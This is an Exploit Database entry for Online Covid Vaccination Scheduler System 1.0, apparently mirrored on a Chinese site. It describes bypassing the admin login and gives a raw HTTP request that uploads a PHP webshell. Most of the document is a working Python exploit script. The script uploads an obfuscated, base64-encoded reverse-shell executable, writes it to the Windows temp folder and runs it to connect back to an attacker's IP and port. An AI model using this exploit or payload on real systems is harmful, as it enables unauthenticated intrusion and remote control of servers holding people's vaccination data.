Online Covid Vaccination Scheduler System 1.0 – Arbitrary File Upload to Remote Code Execution (Unauthenticated)

• Exploit Database
• 23 阅读

• 作者： faisalfs10x
  日期： 2021-07-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50114/

• # Exploit Title: Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated)
  # Date: 2021-07-07
  # Exploit Author: faisalfs10x
  # Vendor Homepage: https://www.sourcecodester.com/
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
  # Version: 1.0
  # Tested on: Windows 10, XAMPP
  
  
  """
  ################
  # Description#
  ################
  
  1. The admin panel UI login can be assessed at http://{ip}/scheduler/admin/login.php. Due to the client-side input validation implemented within scripts, it is possible to bypass and access the admin panel UI by making request to "http://localhost/scheduler/admin/?page=user" and removing the javascript tag '<script>location.href="http://localhost/scheduler/admin/login.php"</script>' in the server response body. 
  For making the process easier, we can use burp "Match and Replace" option to automatically replace the javascript tag parts of responses body passing through the proxy.
  2. The admin panel has an upload function of profile photo accessible at http://localhost/scheduler/admin/?page=user. An attacker could upload a malicious file such as shell.php with the Content-Type: image/png. Then, the attacker have to visit the uploaded profile photo to access the shell.
  
  
  #####################
  # PoC for webshell#
  #####################
  
  Request:
  ========
  
  POST /scheduler/classes/Users.php?f=save HTTP/1.1
  Host: localhost
  Content-Length: 721
  sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
  Accept: */*
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/scheduler/admin/?page=user
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127
  Connection: close
  
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="id"
  
  1
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="firstname"
  
  Adminstrator
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="lastname"
  
  Admin
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="username"
  
  admin
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="password"
  
  
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY
  Content-Disposition: form-data; name="img"; filename="rev.php"
  Content-Type: image/png
  
  <?php echo "output: ";system($_GET['rev']); ?> # shell content here
  ------WebKitFormBoundaryYrg9YZykFY2bmNqY--
  
  
  ####################
  # Webshell access: #
  ####################
  
  # Webshell access via:
  PoC: http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami
  
  # Output:
  output: windows10/user
  
  """
  
  ##################################################
  # Reverse shell exploit code for windows target: #
  ##################################################
  
  #!/usr/bin/python
  
  import requests
  import sys
  import string
  import random
  import urllib.request
  from requests_html import HTMLSession
  
  if len(sys.argv) < 4:
  print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+' <target_ip> <attacker_ip> <attacker_port>')
  exit()
  
  RHOST = sys.argv[1]
  RPORT = '80'
  
  LHOST = sys.argv[2]
  LPORT = sys.argv[3]
  
  if not RHOST.startswith('http://') and not RHOST.startswith('https://'):
  RHOST = "http://" + RHOST
  
  # if not RHOST.endswith('/'):
  # RHOST = RHOST + "/"
  
  # RHOST = '127.0.0.1'
  # RPORT = '80'
  # LHOST = '192.168.8.117'
  # LPORT = '4444'
  
  shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here
  
  let = string.ascii_lowercase
  shellfilename = ''.join(random.choice(let) for i in range(5))+".php" # or just static shellfilename = 'rev.php'
  
  req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell
  
  req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"", 
  "Accept": "*/*", 
  "X-Requested-With": "XMLHttpRequest", 
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", 
  "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY",
  "Accept-Language": "en-US,en;q=0.9", 
  "Connection": "close"}
  
  req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n<?php\r\n\r\nheader('Content-type: text/plain');\r\n$ip = \""+LHOST+"\"; \r\n$port = \""+LPORT+"\"; \r\n$payload = \"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\";\r\n$evalCode = gzinflate(base64_decode($payload));\r\n$evalArguments = \" \".$port.\" \".$ip;\r\n$tmpdir =\"C:\\\\windows\\\\temp\";\r\nchdir($tmpdir);\r\n$res .= \"Using dir : \".$tmpdir;\r\n$filename = \"rev.exe\";\r\n$file = fopen($filename, 'wb');\r\nfwrite($file, $evalCode);\r\nfclose($file);\r\n$path = $filename;\r\n$cmd = $path.$evalArguments;\r\n$res .= \"\\n\\nExecuting : \".$cmd.\"\\n\";\r\necho $res;\r\n$output = system($cmd);\r\n\t\t\t\r\n?>\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY--\r\n"
  
  print("\033[1;33;40m Uploading shell...")
  out = requests.post(req_url, headers=req_headers, data=req_data, verify=False)
  
  print("\033[1;31;40m Uploaded shell will be available at "+shellpath+"")
  print(" Enjoy!")
  
  # finding the uploaded shell
  session = HTMLSession()
  r = session.get(shellpath)
  sel = 'a[href*="'+shellfilename+'"]'
  find_shellfilename = r.html.find(sel)
  
  # popping up the shell :p
  for shellname in find_shellfilename:
  try:
  url = shellname.absolute_links.pop()
  print("\033[1;33;40m Shell is available at "+url+"")
  response = urllib.request.urlopen(url)
  print(" Byeee!")
  except KeyboardInterrupt:
  exit('User aborted!')